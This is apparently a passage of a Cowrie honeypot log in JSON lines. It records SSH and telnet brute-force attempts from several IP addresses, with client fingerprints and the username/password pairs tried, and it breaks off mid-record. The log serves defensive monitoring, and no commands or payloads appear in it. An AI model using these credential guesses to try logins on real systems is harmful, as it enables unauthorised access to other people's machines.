{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:19.993450Z","src_ip":"45.153.34.112","session":"0f6c8cf9c86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39822,"dst_ip":"10.17.0.5","dst_port":22,"session":"bff3b9808a62","protocol":"ssh","message":"New connection: 45.153.34.112:39822 (10.17.0.5:22) [session: bff3b9808a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:22.235521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:22.240341Z","src_ip":"45.153.34.112","session":"bff3b9808a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:22.323076Z","src_ip":"45.153.34.112","session":"bff3b9808a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:22.569387Z","src_ip":"45.153.34.112","session":"bff3b9808a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:23.654969Z","src_ip":"45.153.34.112","session":"bff3b9808a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.093213081359863,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:23.760393Z","src_ip":"192.119.13.58","session":"b00d863d67a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47844,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3fb2b6ec2cc","protocol":"telnet","message":"New connection: 192.119.13.58:47844 (10.17.0.5:23) [session: f3fb2b6ec2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:25.482549Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39824,"dst_ip":"10.17.0.5","dst_port":22,"session":"438be3001e90","protocol":"ssh","message":"New connection: 45.153.34.112:39824 (10.17.0.5:22) [session: 438be3001e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:25.679880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:25.685417Z","src_ip":"45.153.34.112","session":"438be3001e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.914226770401,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:25.768676Z","src_ip":"192.119.13.58","session":"2eae20df6794","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:25.777051Z","src_ip":"45.153.34.112","session":"438be3001e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:26.022524Z","src_ip":"45.153.34.112","session":"438be3001e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:27.108850Z","src_ip":"45.153.34.112","session":"438be3001e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.40141940116882,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:28.117825Z","src_ip":"192.119.13.58","session":"69bdc82155d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39838,"dst_ip":"10.17.0.5","dst_port":22,"session":"d32dc4d6c72f","protocol":"ssh","message":"New connection: 45.153.34.112:39838 (10.17.0.5:22) [session: d32dc4d6c72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:29.289746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:29.294725Z","src_ip":"45.153.34.112","session":"d32dc4d6c72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:29.376631Z","src_ip":"45.153.34.112","session":"d32dc4d6c72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:29.622666Z","src_ip":"45.153.34.112","session":"d32dc4d6c72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.62796425819397,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:29.941011Z","src_ip":"192.119.13.58","session":"449aa5c71582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38442,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f3443a5e67","protocol":"telnet","message":"New connection: 192.119.13.58:38442 (10.17.0.5:23) [session: 81f3443a5e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:30.070953Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39732,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d0d14c7433","protocol":"telnet","message":"New connection: 192.119.13.58:39732 (10.17.0.5:23) [session: 13d0d14c7433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:30.381111Z"}
{"eventid":"cowrie.session.closed","duration":34.1911506652832,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:30.650992Z","src_ip":"192.119.13.58","session":"c4d1ae0c2ac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:30.710566Z","src_ip":"45.153.34.112","session":"d32dc4d6c72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34032,"dst_ip":"10.17.0.5","dst_port":22,"session":"83ca82d03676","protocol":"ssh","message":"New connection: 45.153.34.112:34032 (10.17.0.5:22) [session: 83ca82d03676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:32.722956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:32.727293Z","src_ip":"45.153.34.112","session":"83ca82d03676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:32.809977Z","src_ip":"45.153.34.112","session":"83ca82d03676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:33.056825Z","src_ip":"45.153.34.112","session":"83ca82d03676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36806,"dst_ip":"159.203.135.109","dst_port":22,"session":"42b745adc604","protocol":"ssh","message":"New connection: 103.195.236.96:36806 (159.203.135.109:22) [session: 42b745adc604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:33.171308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:33.176381Z","src_ip":"103.195.236.96","session":"42b745adc604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:33.420773Z","src_ip":"103.195.236.96","session":"42b745adc604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:34.142009Z","src_ip":"45.153.34.112","session":"83ca82d03676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil2001","message":"login attempt [root/danil2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:34.345582Z","src_ip":"103.195.236.96","session":"42b745adc604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:35.591739Z","src_ip":"103.195.236.96","session":"42b745adc604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34060,"dst_ip":"10.17.0.5","dst_port":22,"session":"393052173b72","protocol":"ssh","message":"New connection: 45.153.34.112:34060 (10.17.0.5:22) [session: 393052173b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:36.118068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:36.192655Z","src_ip":"45.153.34.112","session":"393052173b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:36.321224Z","src_ip":"45.153.34.112","session":"393052173b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":34654,"dst_ip":"10.17.0.5","dst_port":22,"session":"50144efd7dda","protocol":"ssh","message":"New connection: 170.106.177.3:34654 (10.17.0.5:22) [session: 50144efd7dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:36.511853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:36.516203Z","src_ip":"170.106.177.3","session":"50144efd7dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:36.582815Z","src_ip":"170.106.177.3","session":"50144efd7dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:36.589276Z","src_ip":"45.153.34.112","session":"393052173b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Qaz2wsx!@#","message":"login attempt [root/1Qaz2wsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:36.884675Z","src_ip":"170.106.177.3","session":"50144efd7dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.1847460269928,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:37.388531Z","src_ip":"192.119.13.58","session":"7f66f66d86f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:37.675521Z","src_ip":"45.153.34.112","session":"393052173b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:37.954789Z","src_ip":"170.106.177.3","session":"50144efd7dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37516,"dst_ip":"10.17.0.5","dst_port":22,"session":"70756b81a4d6","protocol":"ssh","message":"New connection: 45.153.34.112:37516 (10.17.0.5:22) [session: 70756b81a4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:39.662215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:39.667348Z","src_ip":"45.153.34.112","session":"70756b81a4d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecds